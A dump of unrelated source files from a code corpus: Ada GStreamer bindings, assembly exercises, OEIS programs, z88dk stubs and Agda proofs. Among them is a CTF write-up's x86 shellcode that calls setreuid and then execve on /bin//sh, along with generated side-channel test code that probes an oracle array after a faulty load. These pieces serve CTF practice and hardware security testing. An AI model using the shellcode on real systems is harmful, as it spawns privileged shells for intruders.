gst/basecamerabinsrc/gstbasecamerasrc.h:53 type GstBaseCameraSrcClass; type u_GstBaseCameraSrcClass_u_gst_reserved_array is array (0 .. 19) of System.Address; --subtype GstBaseCameraSrcClass is u_GstBaseCameraSrcClass; -- gst/basecamerabinsrc/gstbasecamerasrc.h:54 --* -- * GstBaseCameraSrc: -- type GstBaseCameraSrc is record parent : aliased GStreamer.GST_Low_Level.gstreamer_0_10_gst_gstbin_h.GstBin; -- gst/basecamerabinsrc/gstbasecamerasrc.h:67 mode : aliased GStreamer.GST_Low_Level.gstreamer_0_10_gst_basecamerabinsrc_gstcamerabin_enum_h.GstCameraBinMode; -- gst/basecamerabinsrc/gstbasecamerasrc.h:69 capturing : aliased GLIB.gboolean; -- gst/basecamerabinsrc/gstbasecamerasrc.h:71 capturing_mutex : access GStreamer.GST_Low_Level.glib_2_0_glib_gthread_h.GMutex; -- gst/basecamerabinsrc/gstbasecamerasrc.h:72 preview_caps : access GStreamer.GST_Low_Level.gstreamer_0_10_gst_gstcaps_h.GstCaps; -- gst/basecamerabinsrc/gstbasecamerasrc.h:75 post_preview : aliased GLIB.gboolean; -- gst/basecamerabinsrc/gstbasecamerasrc.h:76 preview_filter : access GStreamer.GST_Low_Level.gstreamer_0_10_gst_gstelement_h.GstElement; -- gst/basecamerabinsrc/gstbasecamerasrc.h:77 preview_pipeline : access GStreamer.GST_Low_Level.gstreamer_0_10_gst_basecamerabinsrc_gstcamerabinpreview_h.GstCameraBinPreviewPipelineData; -- gst/basecamerabinsrc/gstbasecamerasrc.h:78 width : aliased GLIB.gint; -- gst/basecamerabinsrc/gstbasecamerasrc.h:81 height : aliased GLIB.gint; -- gst/basecamerabinsrc/gstbasecamerasrc.h:82 zoom : aliased GLIB.gfloat; -- gst/basecamerabinsrc/gstbasecamerasrc.h:84 max_zoom : aliased GLIB.gfloat; -- gst/basecamerabinsrc/gstbasecamerasrc.h:85 u_gst_reserved : u_GstBaseCameraSrc_u_gst_reserved_array; -- gst/basecamerabinsrc/gstbasecamerasrc.h:87 end record; pragma Convention (C_Pass_By_Copy, GstBaseCameraSrc); -- gst/basecamerabinsrc/gstbasecamerasrc.h:65 -- Preview convert pipeline -- Resolution of the buffers configured to camerabin --* -- * GstBaseCameraSrcClass: -- * @construct_pipeline: construct pipeline -- * @setup_pipeline: configure pipeline for the chosen settings -- * @set_zoom: set the zoom -- * @set_mode: set the mode -- type GstBaseCameraSrcClass is record parent : aliased GStreamer.GST_Low_Level.gstreamer_0_10_gst_gstbin_h.GstBinClass; -- gst/basecamerabinsrc/gstbasecamerasrc.h:100 construct_pipeline : access function (arg1 : access GstBaseCameraSrc) return GLIB.gboolean; -- gst/basecamerabinsrc/gstbasecamerasrc.h:103 setup_pipeline : access function (arg1 : access GstBaseCameraSrc) return GLIB.gboolean; -- gst/basecamerabinsrc/gstbasecamerasrc.h:106 set_zoom : access procedure (arg1 : access GstBaseCameraSrc; arg2 : GLIB.gfloat); -- gst/basecamerabinsrc/gstbasecamerasrc.h:109 set_mode : access function (arg1 : access GstBaseCameraSrc; arg2 : GStreamer.GST_Low_Level.gstreamer_0_10_gst_basecamerabinsrc_gstcamerabin_enum_h.GstCameraBinMode) return GLIB.gboolean; -- gst/basecamerabinsrc/gstbasecamerasrc.h:113 set_preview : access function (arg1 : access GstBaseCameraSrc; arg2 : access GStreamer.GST_Low_Level.gstreamer_0_10_gst_gstcaps_h.GstCaps) return GLIB.gboolean; -- gst/basecamerabinsrc/gstbasecamerasrc.h:117 start_capture : access function (arg1 : access GstBaseCameraSrc) return GLIB.gboolean; -- gst/basecamerabinsrc/gstbasecamerasrc.h:120 stop_capture : access procedure (arg1 : access GstBaseCameraSrc); -- gst/basecamerabinsrc/gstbasecamerasrc.h:123 u_gst_reserved : u_GstBaseCameraSrcClass_u_gst_reserved_array; -- gst/basecamerabinsrc/gstbasecamerasrc.h:125 end record; pragma Convention (C_Pass_By_Copy, GstBaseCameraSrcClass); -- gst/basecamerabinsrc/gstbasecamerasrc.h:98 -- Construct pipeline. (called in GST_STATE_CHANGE_NULL_TO_READY) Optional. -- (called in GST_STATE_CHANGE_READY_TO_PAUSED). Optional. -- Set the zoom. If set, called when changing 'zoom' property. Optional. -- Set the mode. If set, called when changing 'mode' property. Optional. -- Set preview caps. If set, called called when setting new 'preview-caps'. Optional. -- Called by the handler for 'start-capture'. Mandatory. -- Called by the handler for 'stop-capture'. Mandatory. function gst_base_camera_src_set_mode (self : access GstBaseCameraSrc; mode : GStreamer.GST_Low_Level.gstreamer_0_10_gst_basecamerabinsrc_gstcamerabin_enum_h.GstCameraBinMode) return GLIB.gboolean; -- gst/basecamerabinsrc/gstbasecamerasrc.h:133 pragma Import (C, gst_base_camera_src_set_mode, "gst_base_camera_src_set_mode"); procedure gst_base_camera_src_setup_zoom (self : access GstBaseCameraSrc); -- gst/basecamerabinsrc/gstbasecamerasrc.h:134 pragma Import (C, gst_base_camera_src_setup_zoom, "gst_base_camera_src_setup_zoom"); procedure gst_base_camera_src_setup_preview (self : access GstBaseCameraSrc; preview_caps : access GStreamer.GST_Low_Level.gstreamer_0_10_gst_gstcaps_h.GstCaps); -- gst/basecamerabinsrc/gstbasecamerasrc.h:135 pragma Import (C, gst_base_camera_src_setup_preview, "gst_base_camera_src_setup_preview"); procedure gst_base_camera_src_finish_capture (self : access GstBaseCameraSrc); -- gst/basecamerabinsrc/gstbasecamerasrc.h:136 pragma Import (C, gst_base_camera_src_finish_capture, "gst_base_camera_src_finish_capture"); procedure gst_base_camera_src_post_preview (self : access GstBaseCameraSrc; buf : access GStreamer.GST_Low_Level.gstreamer_0_10_gst_gstbuffer_h.GstBuffer); -- gst/basecamerabinsrc/gstbasecamerasrc.h:139 pragma Import (C, gst_base_camera_src_post_preview, "gst_base_camera_src_post_preview"); -- XXX add methods to get/set img capture and vid capture caps.. end GStreamer.GST_Low_Level.gstreamer_0_10_gst_basecamerabinsrc_gstbasecamerasrc_h;
source/image/s-valerr.ads
ytomino/drake
33
287
pragma License (Unrestricted); -- implementation unit package System.Value_Errors is pragma Pure; procedure Raise_Value_Failure (T : String; S : String); pragma No_Return (Raise_Value_Failure); procedure Raise_Discrete_Value_Failure (T : String; S : String); -- Returns if the flag of System.Runtime_Context is set. end System.Value_Errors;
machine_language/04/fill/fill_test.asm
hadleyhzy34/computer-architecture
0
22632
(LOOP) @SCREEN D=A @i M=D @KBD D=M @BLACKEN D;JNE (WHITEN) @i A=M M=0 @i M=M+1 @i D=M @24575 D=D-A @LOOP D;JGT @WHITEN D;JLE (BLACKEN) @i A=M M=-1 @i M=M+1 @i D=M @24575 D=D-A @LOOP D;JGT @BLACKEN D;JLE
programs/oeis/004/A004426.asm
neoneye/loda
22
102897
; A004426: Arithmetic mean of digits of n (rounded down). ; Coded manually 2021-05-07 by <NAME>, https://github.com/neoneye ; 0,1,2,3,4,5,6,7,8,9,0,1,1,2,2,3,3,4,4,5,1,1,2,2,3,3,4,4,5,5,1,2,2,3,3,4,4,5,5,6,2,2,3,3,4,4,5,5,6,6,2,3,3,4,4,5,5,6,6,7,3,3,4,4,5,5,6,6,7,7,3,4,4,5,5,6,6,7,7,8,4,4,5,5,6,6,7,7,8,8,4,5,5,6,6,7,7,8,8,9,0,0,1,1,1,2,2,2 mov $1,$0 seq $0,7953 ; Digital sum (i.e., sum of digits) of n; also called digsum(n). seq $1,55642 ; Number of digits in decimal expansion of n. div $0,$1
data/jpred4/jp_batch_1613899824__z47afmb/jp_batch_1613899824__z47afmb.als
jonriege/predict-protein-structure
0
492
<gh_stars>0 SILENT_MODE BLOCK_FILE jp_batch_1613899824__z47afmb.concise.blc MAX_NSEQ 802 MAX_INPUT_LEN 804 OUTPUT_FILE jp_batch_1613899824__z47afmb.concise.ps PORTRAIT POINTSIZE 8 IDENT_WIDTH 12 X_OFFSET 2 Y_OFFSET 2 DEFINE_FONT 0 Helvetica DEFAULT DEFINE_FONT 1 Helvetica REL 0.75 DEFINE_FONT 7 Helvetica REL 0.6 DEFINE_FONT 3 Helvetica-Bold DEFAULT DEFINE_FONT 4 Times-Bold DEFAULT DEFINE_FONT 5 Helvetica-BoldOblique DEFAULT # DEFINE_COLOUR 3 1 0.62 0.67 # Turquiose DEFINE_COLOUR 4 1 1 0 # Yellow DEFINE_COLOUR 5 1 0 0 # Red DEFINE_COLOUR 7 1 0 1 # Purple DEFINE_COLOUR 8 0 0 1 # Blue DEFINE_COLOUR 9 0 1 0 # Green DEFINE_COLOUR 10 0.41 0.64 1.00 # Pale blue DEFINE_COLOUR 11 0.41 0.82 0.67 # Pale green DEFINE_COLOUR 50 0.69 0.18 0.37 # Pink (helix) DEFINE_COLOUR 51 1.00 0.89 0.00 # Gold (strand) NUMBER_INT 10 SETUP # # Highlight specific residues. # Avoid highlighting Lupas 'C' predictions by # limiting the highlighting to the alignments Scol_CHARS C 1 1 80 791 4 Ccol_CHARS H ALL 5 Ccol_CHARS P ALL 8 SURROUND_CHARS LIV ALL # # Replace known structure types with whitespace SUB_CHARS 1 792 80 801 H SPACE SUB_CHARS 1 792 80 801 E SPACE SUB_CHARS 1 792 80 801 - SPACE STRAND 14 795 20 COLOUR_TEXT_REGION 14 795 20 795 51 STRAND 24 795 31 COLOUR_TEXT_REGION 24 795 31 795 51 STRAND 35 795 39 COLOUR_TEXT_REGION 35 795 39 795 51 STRAND 47 795 55 COLOUR_TEXT_REGION 47 795 55 795 51 STRAND 63 795 73 COLOUR_TEXT_REGION 63 795 73 795 51 STRAND 14 800 20 COLOUR_TEXT_REGION 14 800 20 800 51 STRAND 24 800 31 COLOUR_TEXT_REGION 24 800 31 800 51 STRAND 35 800 40 COLOUR_TEXT_REGION 35 800 40 800 51 STRAND 47 800 57 COLOUR_TEXT_REGION 47 800 57 800 51 STRAND 63 800 73 COLOUR_TEXT_REGION 63 800 73 800 51 STRAND 5 801 6 COLOUR_TEXT_REGION 5 801 6 801 51 STRAND 14 801 20 COLOUR_TEXT_REGION 14 801 20 801 51 STRAND 24 801 30 COLOUR_TEXT_REGION 24 801 30 801 51 STRAND 48 801 51 COLOUR_TEXT_REGION 48 801 51 801 51 STRAND 63 801 73 COLOUR_TEXT_REGION 63 801 73 801 51
Lab Assessment Submission/Lab 2/Task1_ 1712852642.asm
shahr1ar/CSE331L-Section-10-Fall20-NSU
0
22712
; You may customize this and other start-up templates; ; The location of this template is c:\emu8086\inc\0_com_template.txt org 100h K1 EQU 1 K2 EQU 1 K3 EQU 1 ADD AX,K1 ADD AX,K2 ADD AX,K3 MOV BX,AX ret
root-me/app-system/elf-x86-bss-stack-overflow/shellcode.nasm
Novitoll/writeups
4
95302
<reponame>Novitoll/writeups section .text global _start _start: push 0x46 pop eax mov bx, 0x4b7 mov cx, 0x453 int 0x80 xor edx, edx push 0xb pop eax push edx push 0x68732f2f push 0x6e69622f mov ebx, esp push edx push ebx mov ecx, esp int 0x80
Transynther/x86/_processed/NC/_zr_/i9-9900K_12_0xca.log_21829_702.asm
ljhsiun2/medusa
9
245419
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r8 push %rax push %rbp push %rcx push %rdi push %rdx push %rsi lea addresses_D_ht+0x1e6a8, %r8 sub $6025, %rcx mov (%r8), %si nop nop nop nop add %rdx, %rdx lea addresses_normal_ht+0x19710, %rsi lea addresses_UC_ht+0xda44, %rdi and $24463, %r12 mov $109, %rcx rep movsw nop nop nop nop nop sub %r8, %r8 lea addresses_UC_ht+0x60d0, %rdi nop nop nop sub %rsi, %rsi mov (%rdi), %r12w nop nop nop nop nop sub $56108, %rdx lea addresses_WT_ht+0xcf10, %rcx nop nop sub $16865, %rbp movups (%rcx), %xmm4 vpextrq $1, %xmm4, %r12 sub $17179, %rdx lea addresses_normal_ht+0x8b10, %rsi lea addresses_WC_ht+0x18710, %rdi clflush (%rsi) nop nop inc %rax mov $75, %rcx rep movsl nop nop nop cmp $43518, %rdi lea addresses_WT_ht+0x1db88, %rdi sub $48656, %rax movb $0x61, (%rdi) nop nop nop inc %rax lea addresses_WT_ht+0xbee4, %r12 nop dec %rax mov $0x6162636465666768, %rsi movq %rsi, (%r12) nop xor %rdx, %rdx lea addresses_WT_ht+0x5344, %rcx nop nop nop nop xor $58522, %rdx vmovups (%rcx), %ymm3 vextracti128 $1, %ymm3, %xmm3 vpextrq $1, %xmm3, %rax cmp %r12, %r12 lea addresses_WC_ht+0xe340, %rsi lea addresses_UC_ht+0xf090, %rdi nop nop nop sub $59776, %r8 mov $114, %rcx rep movsw nop nop nop lfence lea addresses_UC_ht+0x17f10, %rcx add $6466, %rdx mov (%rcx), %r8 and $20235, %rcx lea addresses_WC_ht+0x17f10, %rbp and $13864, %rax movl $0x61626364, (%rbp) nop nop nop xor %rbp, %rbp lea addresses_normal_ht+0x1b710, %rbp nop add $21110, %r12 mov (%rbp), %edi nop nop nop xor $22566, %rax lea addresses_D_ht+0xd6a4, %rax nop inc %r12 movups (%rax), %xmm6 vpextrq $1, %xmm6, %rsi nop nop nop nop cmp $31829, %rsi lea addresses_WT_ht+0xf310, %rsi lea addresses_WT_ht+0xabf7, %rdi clflush (%rsi) nop nop nop nop dec %rax mov $29, %rcx rep movsw nop nop sub $35612, %rdi pop %rsi pop %rdx pop %rdi pop %rcx pop %rbp pop %rax pop %r8 pop %r12 ret .global s_faulty_load s_faulty_load: push %r13 push %r14 push %r8 push %rax push %rdi push %rdx // Faulty Load mov $0xce3c10000000f10, %rdi nop xor $37425, %r8 movups (%rdi), %xmm0 vpextrq $0, %xmm0, %r13 lea oracles, %rax and $0xff, %r13 shlq $12, %r13 mov (%rax,%r13,1), %r13 pop %rdx pop %rdi pop %rax pop %r8 pop %r14 pop %r13 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_NC', 'same': False, 'AVXalign': False, 'congruent': 0}} [Faulty Load] {'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_NC', 'same': True, 'AVXalign': False, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': False, 'congruent': 1}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 9}, 'dst': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 0}} {'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': False, 'congruent': 4}} {'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': False, 'congruent': 11}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 4}, 'dst': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 11}} {'OP': 'STOR', 'dst': {'size': 1, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': False, 'congruent': 2}} {'OP': 'STOR', 'dst': {'size': 8, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': False, 'congruent': 2}} {'OP': 'LOAD', 'src': {'size': 32, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': False, 'congruent': 0}} {'OP': 'REPM', 'src': {'same': True, 'type': 'addresses_WC_ht', 'congruent': 3}, 'dst': {'same': True, 'type': 'addresses_UC_ht', 'congruent': 7}} {'OP': 'LOAD', 'src': {'size': 8, 'NT': False, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': False, 'congruent': 10}} {'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': False, 'congruent': 8}} {'OP': 'LOAD', 'src': {'size': 4, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 11}} {'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': False, 'congruent': 2}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_WT_ht', 'congruent': 8}, 'dst': {'same': False, 'type': 'addresses_WT_ht', 'congruent': 0}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
libsrc/_DEVELOPMENT/math/float/math48/z80/am48_dconst_pi.asm
meesokim/z88dk
0
165357
SECTION code_fp_math48 PUBLIC am48_dconst_pi EXTERN mm48__acpi ; set AC = pi ; ; uses : bc, de, hl defc am48_dconst_pi = mm48__acpi
env/zx/common/dodos_plus3.asm
pjshumphreys/querycsv
18
247679
include "equs.inc" ;------------------------------------- ; dodos_plus3 dodos_plus3: ; ;IY holds the address of the DOS routine to be run. All other registers are ;passed intact to the DOS routine and are returned from it. ; ;Stack is somewhere in central 32K (conforming to DOS requirements), so save AF ;and BC will not be switched out. ; push af ld a, (bankm) ; RAM/ROM switching system variable ld (bankmBackup2), a or 7 ; want RAM page 7 res 4, a ; and DOS ROM di call switchPage pop af ld (jumptoit+1), iy call jumptoit ; go sub routine address in IY push af ; return from JP (IY) will be to here ld a, (bankmBackup2) di call switchPage pop af ld iy, ERR_NR ret
GSeTT/Dec-Type-Checking.agda
thibautbenjamin/catt-formalization
0
7996
{-# OPTIONS --rewriting --without-K #-} open import Agda.Primitive open import Prelude open import GSeTT.Syntax open import GSeTT.Rules {- Decidability of type cheking for the type theory for globular sets -} module GSeTT.Dec-Type-Checking where dec-⊢C : ∀ Γ → dec (Γ ⊢C) dec-⊢T : ∀ Γ A → dec (Γ ⊢T A) dec-⊢t : ∀ Γ A t → dec (Γ ⊢t t # A) dec-⊢S : ∀ Δ Γ γ → dec (Δ ⊢S γ > Γ) private Γ+⊢→Γ⊢ : ∀ {Γ x A} → (Γ :: (x , A)) ⊢C → Γ ⊢C Γ+⊢→Γ⊢ (cc Γ⊢ _ idp) = Γ⊢ Γ+⊢→x=l : ∀ {Γ x A} → (Γ :: (x , A)) ⊢C → x == length Γ Γ+⊢→x=l (cc _ _ idp) = idp Γ+⊢→Γ⊢A : ∀ {Γ x A} → (Γ :: (x , A)) ⊢C → Γ ⊢T A Γ+⊢→Γ⊢A (cc _ Γ⊢A _) = Γ⊢A Γ⊢t⇒u→Γ⊢A : ∀ {Γ A t u} → Γ ⊢T ⇒ A t u → Γ ⊢T A Γ⊢t⇒u→Γ⊢A (ar Γ⊢t:A Γ⊢u:A) = Γ⊢t:A→Γ⊢A Γ⊢t:A Γ⊢t⇒u→Γ⊢t : ∀ {Γ A t u} → Γ ⊢T ⇒ A t u → Γ ⊢t t # A Γ⊢t⇒u→Γ⊢t (ar Γ⊢t:A Γ⊢u:A) = Γ⊢t:A Γ⊢t⇒u→Γ⊢u : ∀ {Γ A t u} → Γ ⊢T ⇒ A t u → Γ ⊢t u # A Γ⊢t⇒u→Γ⊢u (ar Γ⊢t:A Γ⊢u:A) = Γ⊢u:A Γ⊢x:A→x∈Γ : ∀ {Γ x A} → Γ ⊢t Var x # A → x # A ∈ Γ Γ⊢x:A→x∈Γ (var _ x∈Γ) = x∈Γ Δ⊢<>:Γ→Γ=nil : ∀ {Δ Γ} → Δ ⊢S nil > Γ → Γ == nil Δ⊢<>:Γ→Γ=nil (es _) = idp Δ⊢γ:⊘→γ=nil : ∀ {Δ γ} → Δ ⊢S γ > nil → γ == nil Δ⊢γ:⊘→γ=nil (es _) = idp Δ⊢γ+:Γ+→x=y : ∀ {Δ Γ x A γ y t} → Δ ⊢S (γ :: (y , t)) > (Γ :: (x , A)) → x == y Δ⊢γ+:Γ+→x=y (sc _ _ _ idp) = idp Δ⊢γ+:Γ+→Δ⊢t : ∀ {Δ Γ x A γ y t} → Δ ⊢S (γ :: (y , t)) > (Γ :: (x , A)) → Δ ⊢t t # (A [ γ ]Pre-Ty) Δ⊢γ+:Γ+→Δ⊢t (sc _ _ Δ⊢t idp) = Δ⊢t Δ⊢γ+:Γ+→Δ⊢γ : ∀ {Δ Γ x A γ y t} → Δ ⊢S (γ :: (y , t)) > (Γ :: (x , A)) → Δ ⊢S γ > Γ Δ⊢γ+:Γ+→Δ⊢γ (sc Δ⊢γ:Γ _ _ idp) = Δ⊢γ:Γ eqdec-Ty : eqdec Pre-Ty eqdec-Tm : eqdec Pre-Tm eqdec-Ty ∗ ∗ = inl idp eqdec-Ty ∗ (⇒ _ _ _) = inr λ{()} eqdec-Ty (⇒ _ _ _) ∗ = inr λ{()} eqdec-Ty (⇒ A t u) (⇒ B t' u') with eqdec-Ty A B | eqdec-Tm t t' | eqdec-Tm u u' ... | inl idp | inl idp | inl idp = inl idp ... | inl idp | inl idp | inr u≠u' = inr λ p → u≠u' (snd (=⇒ p)) ... | inl idp | inr t≠t' | _ = inr λ p → t≠t' (snd (fst (=⇒ p))) ... | inr A≠B | _ | _ = inr λ p → A≠B (fst (fst (=⇒ p))) eqdec-Tm (Var x) (Var y) with eqdecℕ x y ... | inl idp = inl idp ... | inr x≠y = inr λ p → x≠y (=Var p) dec-∈ : ∀ Γ x A → dec (x # A ∈ Γ) dec-∈ nil x A = inr λ x → x dec-∈ (Γ :: (y , B)) x A with (eqdecℕ y x) | (eqdec-Ty B A) ... | inl idp | inl idp = inl (inr (idp , idp)) ... | inl idp | inr B≠A with dec-∈ Γ x A ... | inl x∈Γ = inl (inl x∈Γ) ... | inr x∉Γ = inr λ {(inl x∈Γ) → x∉Γ x∈Γ ; (inr (_ , A=B)) → B≠A (A=B ^)} dec-∈ (Γ :: (y , B)) x A | inr y≠x | _ with dec-∈ Γ x A ... | inl x∈Γ = inl (inl x∈Γ) ... | inr x∉Γ = inr λ{ (inl x∈Γ) → x∉Γ x∈Γ ; (inr (x=y , _)) → y≠x (x=y ^)} dec-⊢C nil = inl ec dec-⊢C (Γ :: (x , A)) with dec-⊢C Γ | eqdecℕ x (length Γ) | dec-⊢T Γ A ... | inl Γ⊢ | inl idp | inl Γ⊢A = inl (cc Γ⊢ Γ⊢A idp) ... | inl _ | inl idp | inr Γ⊬A = inr λ Γ+⊢ → Γ⊬A (Γ+⊢→Γ⊢A Γ+⊢) ... | inl Γ⊢ | inr n≠l | _ = inr λ Γ+⊢ → n≠l (Γ+⊢→x=l Γ+⊢) ... | inr Γ⊬ | _ | _ = inr λ Γ+⊢ → Γ⊬ (Γ+⊢→Γ⊢ Γ+⊢) dec-⊢T Γ ∗ with dec-⊢C Γ ... | inl Γ⊢ = inl (ob Γ⊢) ... | inr Γ⊬ = inr λ Γ⊢* → Γ⊬ (Γ⊢A→Γ⊢ Γ⊢*) dec-⊢T Γ (⇒ A t u) with dec-⊢t Γ A t | dec-⊢t Γ A u ... | inl Γ⊢t:A | inl Γ⊢u:A = inl (ar Γ⊢t:A Γ⊢u:A) ... | inl _ | inr Γ⊬u:A = inr λ Γ⊢t⇒u → Γ⊬u:A (Γ⊢t⇒u→Γ⊢u Γ⊢t⇒u) ... | inr Γ⊬t:A | _ = inr λ Γ⊢t⇒u → Γ⊬t:A (Γ⊢t⇒u→Γ⊢t Γ⊢t⇒u) dec-⊢t Γ A (Var x) with dec-⊢C Γ | dec-∈ Γ x A ... | inl Γ⊢ | inl x∈Γ = inl (var Γ⊢ x∈Γ) ... | inl _ | inr x∉Γ = inr λ Γ⊢x:A → x∉Γ (Γ⊢x:A→x∈Γ Γ⊢x:A) ... | inr Γ⊬ | _ = inr λ Γ⊢x:A → Γ⊬ (Γ⊢t:A→Γ⊢ Γ⊢x:A) dec-⊢S Δ nil nil with dec-⊢C Δ ... | inl Δ⊢ = inl (es Δ⊢) ... | inr Δ⊬ = inr λ Δ⊢<>:⊘ → Δ⊬ (Δ⊢γ:Γ→Δ⊢ Δ⊢<>:⊘) dec-⊢S Δ (Γ :: _) nil = inr λ Δ⊢<>:Γ → cons≠nil (Δ⊢<>:Γ→Γ=nil Δ⊢<>:Γ) dec-⊢S Δ nil (γ :: a) = inr λ Δ⊢γ:⊘ → cons≠nil (Δ⊢γ:⊘→γ=nil Δ⊢γ:⊘) dec-⊢S Δ (Γ :: (x , A)) (γ :: (y , t)) with dec-⊢S Δ Γ γ | dec-⊢C (Γ :: (x , A)) | dec-⊢t Δ (A [ γ ]Pre-Ty) t | eqdecℕ x y ... | inl Δ⊢γ:Γ | inl Γ+⊢ | inl Δ⊢t | inl idp = inl (sc Δ⊢γ:Γ Γ+⊢ Δ⊢t idp) ... | inl _ | inl _ | inl _ | inr x≠y = inr λ Δ⊢γ+:Γ+ → x≠y (Δ⊢γ+:Γ+→x=y Δ⊢γ+:Γ+) ... | inl _ | inl _ | inr Δ⊬t | _ = inr λ Δ⊢γ+:Γ+ → Δ⊬t (Δ⊢γ+:Γ+→Δ⊢t Δ⊢γ+:Γ+) ... | inl _ | inr Γ+⊬ | _ | _ = inr λ Δ⊢γ+:Γ+ → Γ+⊬ (Δ⊢γ:Γ→Γ⊢ Δ⊢γ+:Γ+) ... | inr Δ⊬γ | _ | _ | _ = inr λ Δ⊢γ+:Γ+ → Δ⊬γ (Δ⊢γ+:Γ+→Δ⊢γ Δ⊢γ+:Γ+)
libsrc/_DEVELOPMENT/math/float/math48/c/sdcc_ix/cm48_sdccix_islessequal_callee.asm
jpoikela/z88dk
640
673
; int islessequal(float x, float y) __z88dk_callee SECTION code_clib SECTION code_fp_math48 PUBLIC cm48_sdccix_islessequal_callee EXTERN am48_islessequal, cm48_sdccixp_dcallee2 cm48_sdccix_islessequal_callee: call cm48_sdccixp_dcallee2 ; AC'= y ; AC = x jp am48_islessequal
test/interaction/Issue488.agda
shlevy/agda
1,989
9069
data ℕ : Set where ze : ℕ su : ℕ → ℕ f : (ℕ → ℕ) → ℕ → ℕ f g n = g n syntax f g n = n , g h : ℕ h = ?
programs/oeis/153/A153365.asm
jmorken/loda
1
240772
